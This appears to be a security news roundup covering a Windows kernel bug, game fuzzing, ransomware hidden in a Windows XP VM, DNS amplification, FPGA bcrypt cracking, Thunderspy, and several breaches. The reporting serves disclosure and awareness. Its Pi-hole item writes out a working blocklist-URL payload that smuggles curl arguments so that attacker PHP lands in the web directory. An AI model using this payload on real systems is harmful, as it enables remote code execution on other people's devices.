Researchers at the NCCGroup have been working on a 5-part explanation of a Windows kernel vulnerability, targeting the Kernel Transaction Manager (KTM). The vulnerability, CVE-2018-8611, is a local privilege escalation bug. There doesn’t seem to be a way to exploit this remotely, but it is an interesting bug, and NCCGroup’s work on it is outstanding.
They start with a bit of background on what the KTM is, and why one might want to use it. Next is a handy guide to reverse engineering Microsoft patches. From there, they describe the race condition and how to actually exploit it. They cover a wide swath in the series, so go check it out.
Left4Dead 2
Just a reminder that bugs show up where you least expect them, [Hunter Stanton] shares his story of finding a code execution bug in the popular Valve game, Left4Dead 2. Since the game’s code isn’t available to look at, he decided to go the route of fuzzing. The specific approach he took was to fuzz the navigation mesh data, part of the data contained in each game map. Letting the Basic Fuzzing Framework (BFF) run for three days turned up a few possible crashes, and the most promising turned out to have code execution potential. [Hunter] submitted the find through Valve’s HackerOne bug bounty program, and landed a cool $10k bounty for his trouble.
Biometrics — like using your fingerprint as a password — is certainly convenient and are pretty commonplace on phones and laptops these days. While their overall security could be a problem, they certainly fit the bill to keep casual intruders out of your system. [Lewis Barclay] had some sensors gathering dust and decided to interface them to his Home Assistant setup using an ESP chip and MQTT.
You can see the device working in the video below. The code is on GitHub, and the only thing we worried about was the overall security. Of course, the security of fingerprint scanners is debatable since you hear stories about people lifting fingerprints with tape and glue, but even beyond that, if you were on the network, it would seem like you could sniff and fake fingerprint messages via MQTT. Depending on your security goals, that might not be a big deal and, of course, that assumes someone could compromise your network to start with.
In the nearly four decades since the first PC viruses spread in the wild, malware writers have evolved some exceptionally clever ways to hide their creations from system administrators and from anti-virus writers. The researchers at Sophos have found one that conceals itself as probably the ultimate Trojan horse: it hides its tiny payload in a Windows XP installation.
The crusty Windows version is packaged up with a copy of an older version of the VirtualBox hypervisor on which to run it. A WIndows exploit allows Microsoft Installer to download the whole thing as a 122 MB installer package that hides the hypervisor and a 282 MB disk image containing Windows XP. The Ragnar Locker ransomware payload is a tiny 49 kB component of the XP image, which the infected host will run on the hypervisor unchallenged.
The Sophos analysis has a fascinating delve into some of the Windows batch file tricks it uses to probe its environment and set up the connections between host and XP, leaving us amazed at the unorthodox use of a complete Microsoft OS and that seemingly we have reached a point of system bloat at which such a large unauthorised download and the running of a complete Microsoft operating system albeit one from twenty years ago in a hypervisor can go unnoticed. Still, unlike some malware stories we’ve seen, at least this one is real.
Another DDOS amplification technique has just recently been disclosed, NXNSAttack (technical paper here) that could be used against DNS servers.
We’ve covered amplification attacks before. The short explanation is that some UDP services, like DNS, can be abused to get more mileage out of a DDoS attack. The attacking machined send messages like this: “Hello Google DNS, This is the Hackaday server. Can you send me a really big DNS response packet?” If the DNS response is bigger than the request, then the overall attack is bigger as a result. The measure of effectiveness is the amplification factor. For every byte of DDoS sent by attacking machines, how much many bytes are actually sent to the victim machine? Mirai, for example, had an amplification factor of something around 2.6.
When used for cracking passwords, a modern high-end graphics card will absolutely chew through “classic” hashing algorithms like SHA-1 and SHA-2. When a single desktop machine can run through 50+ billion password combinations per second, even decent passwords can be guessed in a worryingly short amount of time. Luckily, advanced password hashing functions such as bcrypt are designed specifically to make these sort of brute-force attacks impractically slow.
Cracking bcrypt on desktop hardware might be out of the question, but the folks over at [Scattered Secrets] had a hunch that an array of FPGAs might be up to the task. While the clock speed on these programmable chips might seem low compared to a modern CPUs and GPUs, they don’t have all that burdensome overhead to contend with. This makes the dedicated circuitry in the FPGA many times more efficient at performing the same task. Using a decade-old FPGA board intended for mining cryptocurrency, the team was able to demonstrate a four-fold performance improvement over the latest generation of GPUs.
An earlier version of the FPGA cracker
After seeing what a single quad FPGA board was capable of, the [Scattered Secrets] team started scaling the concept up. The first version of the hardware crammed a dozen of the ZTEX FPGA boards and a master control computer computer into a standard 4U server case. For the second version, they bumped that up to 18 boards for a total of 72 FPGAs, and made incremental improvements to the power and connectivity systems.
Each 4U FPGA cracker is capable of 2.1 million bcrypt hashes per second, while consuming just 585 watts. To put that into perspective, [Scattered Secrets] says you’d need at least 75 Nvidia RTX-2080Ti graphics cards to match that performance. Such an array would not only take up a whole server rack, but would burn through a staggering 25 kilowatts. Now might be a good time to change your password to something longer, or finally get onboard with 2FA.
Thunderspy was announced this week, developed by [Björn Ruytenberg]. A series of attacks on the Thunderbolt 3 protocol, Thunderspy is the next vulnerability in the style of Inception, PCILeech, and Thunderclap.
Inception and PCILeech were attacks on the naive Direct Memory Access (DMA) built into Firewire, Thunderbolt 1, and PCIe. A device could connect and request DMA over the link. Once granted, it could access the bottom four gigabytes of system memory, with both read and write access. It’s not hard to imagine how that would be a huge security problem, and it seems that this technique was in use by intelligence agencies at the time it was discovered. As an aside, the hardware DMA was entirely independent of software, so it was possible to debug a crashed kernel over firewire.
Once the vulnerability was made public, hardware and software vendors have taken steps to harden their systems against the attack. Thunderbolt 2 introduced security levels as a mitigation against the attacks. A user has to mark a device as trusted before DMA is offered to that device. Thunderclap exploited a series of vulnerabilities in how individual OSes interacted with those hardware mitigations.
Image by Björn Ruytenberg. Licensed under CC BY 4.0.
Now, Thunderspy abuses a series of problems in Intel’s Thunderbolt 3 specification and implementation. One interesting attack is cloning an already trusted Thunderbolt device. Plugging a Thunderbolt device into a Linux machine easily captures the device UUID. A malicious Thunderbolt device can be given that same UUID, and suddenly has the same level of trust as the cloned device.
[Björn] took the attack a step further, and discovered that he could disassemble a laptop or thunderbolt device, and read the firmware directly off the thunderbolt controller. That firmware can be modified and re-uploaded. One of the simplest attacks that enables is turning the security level to its lowest setting.
It’s interesting research, and there are fixes coming or already in place to mitigate the problems found. The real question is how much Thunderspy matters. The threat model is the evil maid: A laptop left in a motel room would be available to the cleaning staff for a few minutes. Thunderspy could potentially be used for this style of attack, but there are many other potentially better attack options. There is a narrow circumstance where Thunderspy is the perfect technique: A device with an encrypted drive, that’s been powered on and logged into, but locked. In this case, Thunderspy could be used to recover the drive encryption key stored in memory, and then used to plant malware.
That Time When Facebook Broke Everything
You may have noticed some widespread iOS application misbehavior on the 6th. Facebook introduced a change to the server component to their sign-on SDK, which caused many apps that made use of that SDK to crash. It’s worth asking if it’s a good idea for so many popular apps to use Facebook code. There doesn’t appear to have been a vulnerability or path to compromise other than the denial of service.
Large-scale WordPress attack
Nearly a million WordPress sites are under attack, in a campaign targeting a variety of vulnerabilities. The general attack strategy is to inject a malicious javscript that lays dormant until it’s executed by a site administrator. Ironically, logging in to your site to check it for compromise could be the trigger that leads to compromise. As always, keep your plugins up to date and follow the rest of the best practices.
Godaddy Breaches
Godaddy users were recently informed that there was a breach that exposed portions of their accounts to compromise. Notably, the compromise happened back in October of 2019, and wasn’t discovered for 6 months. Godaddy has stated that there wasn’t any evidence of any malicious action beyond the initial compromise, which is puzzling in itself.
On April 23, 2020, we identified SSH usernames and passwords had been compromised through an altered SSH file in our hosting environment. This affected approximately 28,000 customers. We immediately reset these usernames and passwords, removed the offending SSH file from our platform, and have no indication the threat actor used our customers’ credentials or modified any customer hosting accounts. To be clear, the threat actor did not have access to customers’ main GoDaddy accounts.
Pi-hole Exploit
A fun RCE exploit was discovered in the Pi-hole software. This particular problem requires authenticated access to the Pi-hole administrative web interface, so it’s not likely to cause too many problems on its own. Exploiting the flaw is simple, just set http://192.168.122.1#" -o fun.php -d " as the remote blocklist, with an IP that you control. Under the hood, the remote blocklist is fetched via curl, and the URL isn’t properly sanitized. Your PHP code is saved in the web directory, and an HTTP request triggers that code.
Leaking on Github
[Tillson Galloway] tells the story of how he made $10,000 in bug bounties, simply by searching Github for passwords and keys that shouldn’t be there. By searching for specific keywords, he found all sorts of interesting, unintentional things. vim_settings.xml contains recently copied and pasted strings, and .bash_history contains a record of commands that have been run. How many times have you accidentally typed a password in on the command line, thinking you were authenticating with SSH or sudo, just for an example? It’s an easy mistake to make, to accidentally include one of these hidden files in a public repository.
There have been examples of API keys accidentally included in source code drops, and even SSL certificates leaked this way over the years. It’s a lesson to all of us, make sure to sanitize projects before pushing code to Github.
If you work in a secure facility, the chances are pretty good that any computer there is going to be stripped to the minimum complement of peripherals. After all, the fewer parts that a computer has, the fewer things that can be turned into air-gap breaching transducers, right? So no printers, no cameras, no microphones, and certainly no speakers.
Unfortunately, deleting such peripherals does you little good when [Mordechai Guri] is able to turn a computer power supply into a speaker that can exfiltrate data from air-gapped machines. In an arXiv paper (PDF link), [Guri] describes a side-channel attack of considerable deviousness and some complexity that he calls POWER-SUPPLaY. It’s a two-pronged attack with both a transmitter and receiver exploit needed to pull it off. The transmitter malware, delivered via standard methods, runs on the air-gapped machine, and controls the workload of the CPU. These changes in power usage result in vibrations in the switch-mode power supply common to most PCs, particularly in the transformers and capacitors. The resulting audio frequency signals are picked up by a malware-infected receiver on a smartphone, presumably carried by someone into the vicinity of the air-gapped machine. The data is picked up by the phone’s microphone, buffered, and exfiltrated to the attacker at a later time.
Yes, it’s complicated, requiring two exploits to install all the pieces, but under the right conditions it could be feasible. And who’s to say that the receiver malware couldn’t be replaced with the old potato chip bag exploit? Either way, we’re glad [Mordechai] and his fellow security researchers are out there finding the weak spots and challenging assumptions of what’s safe and what’s vulnerable.
